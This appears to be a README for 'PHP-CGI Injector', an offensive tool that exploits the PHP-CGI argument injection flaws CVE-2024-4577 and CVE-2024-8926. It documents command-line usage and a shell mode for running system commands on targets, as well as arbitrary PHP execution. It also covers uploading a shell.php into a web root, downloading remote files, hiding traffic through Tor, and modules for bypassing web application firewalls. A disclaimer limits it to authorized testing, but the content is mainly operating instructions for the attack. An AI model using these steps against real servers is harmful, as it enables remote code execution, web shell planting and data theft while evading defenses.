PHP-CGI Injector

🚀 CVE-2024-4577 y CVE-2024-8926 Herramienta de Exploit

Herramienta de pruebas automatizadas para la vulnerabilidad de inyección de parámetros PHP-CGI, compatible con CVE-2024-4577 y CVE-2024-8926, que permite realizar ejecución de comandos, subida y descarga de archivos, entre otras operaciones.

📌 Introducción

Esta herramienta se puede utilizar para probar la vulnerabilidad de inyección de parámetros en entornos PHP-CGI y ofrece:

• ✅ Interfaz de terminal moderna con efectos animados
• ✅ Escaneo automatizado de vulnerabilidades
• ✅ Múltiples modos de ataque (Shell, ejecución de código PHP, subida/descarga de archivos)
• ✅ Combinaciones de payload predefinidas y personalizadas
• ✅ Modo de ocultación de tráfico mediante Tor
• ✅ Varios módulos de bypass WAF
• ✅ Compatibilidad con conversión automática de codificación de salida
• ✅ Modo de explotación forzada (se puede activar incluso si no se detecta la vulnerabilidad)
• ❌ No prepara café, pero sí tuesta WAF.
• ❌ No redacta informes por ti, no te consigue novia ni te ayuda a ingresar a un posgrado.
• ❌ No realiza ingeniería social; tendrás que tratar tú mismo con los humanos.

📜 Descargo de responsabilidad

Esta herramienta está restringida a pruebas legales y fines académicos. ¡No la uses en sistemas no autorizados!

⚠️ ¡El uso ilegal conlleva responsabilidades legales!

Esta herramienta está destinada únicamente a:

• 🔹 Pruebas de penetración de red team corporativo
• 🔹 Investigación de seguridad en CTF
• 🔹 Aprendizaje personal de seguridad
• 🔹 Otras pruebas de seguridad con autorización legal

📥 Instalación de dependencias

Esta herramienta depende de los siguientes paquetes de Python; por favor, instálalos primero:

pip install -r requirements.txt

O puedes instalarlos manualmente:

pip install requests requests-tor chardet urllib3 rich

🛠️ Uso

📌 Uso básico

python exploit.py -u URL [--timeout sec] [--delay sec] [--log] [--verbose] [--payload PAYLOAD] [--bypass] [--tor] [--no-effects] [--force] [--cgipoint PATHS...]

Ejemplos:

python exploit.py -u http://example.com --timeout 30 --payload 2 --log --tor --verbose
python exploit.py -u http://example.com --bypass --force
python exploit.py -u http://example.com --cgipoint /php-cgi/php-cgi.exe /cgi-bin/php

📌 Opciones de parámetros

📌 Modos de operación

Cuando el script encuentra una vulnerabilidad, mostrará el siguiente menú:

╭────────────  Exploit 模式選單  ────────────╮
│ 當前目標：http://example.com/              │
│ 當前注入點：/php-cgi/php-cgi.exe           │
│ 漏洞編號：CVE-2024-4577                    │
╰────────────────────────────────────────────╯
1) 🧪 Shell模式
2) 🛠️ PHP自訂端模式
3) 📤 上傳檔案
4) 📥 下載檔案
5) 🎯 切換攻擊目標
6) ⚙️ 設定參數
7) ❌ 離開程式
>>

📌 Explicación detallada de los modos

1️⃣ Modo Shell

Ejecuta comandos del sistema:

shell> whoami

📂 Guardar salida

shell> whoami --save

shell> whoami --save C:\output\whoami.txt

2️⃣ Modo PHP personalizado

Ejecuta código PHP personalizado:

phpinfo();
EOF

📂 Guardar salida

phpinfo();
EOF --save

phpinfo();
EOF --save C:\output\info.html

3️⃣ Subir archivo

本地檔案路徑：C:\test\shell.php
目標完整路徑：
[*] 已自動設定上傳路徑為: C:/xampp/htdocs/shell.php

📂 Especificar la ruta manualmente

目標完整路徑：C:\xampp\php\shell.php

4️⃣ Descargar archivo

遠端檔案路徑：C:\xampp\htdocs\index.php

📂 Después de la descarga, el archivo se guarda en download/; si ya existe, se le añade un número automáticamente

[*] 檔案下載完成，儲存在 download/index.php

5️⃣ Cambiar el objetivo del ataque

輸入新目標URL: http://newtarget.com

🔹 Volverá a probar la vulnerabilidad

6️⃣ Cambio de parámetros

[⚙️ 利用階段參數設定選單]

1) 切換荷載 Payload        1
2) 繞過模組 Bypass         未選擇
3) 等待時間 Timeout        10 秒
4) 請求延遲 Delay          0 秒
5) 自動紀錄 Log            關閉
6) 詳細模式 Verbose        關閉
7) 動畫效果 Effects        開啟
8) 強制利用 Force          關閉
9) 儲存並返回 Exploit 選單

📌 Módulos de bypass WAF

Se ofrecen las siguientes estrategias de bypass:

• Mutación de la ruta CGI
• Añadir caracteres no válidos antes y después del payload
• Reemplazar php://input por otras notaciones
• Añadir cabeceras HTTP específicas o aleatorias
• Ofuscar el contenido POST
• Barajar aleatoriamente el orden del payload
• Script de bypass personalizado; consulta el formato en tamper_example_template.txt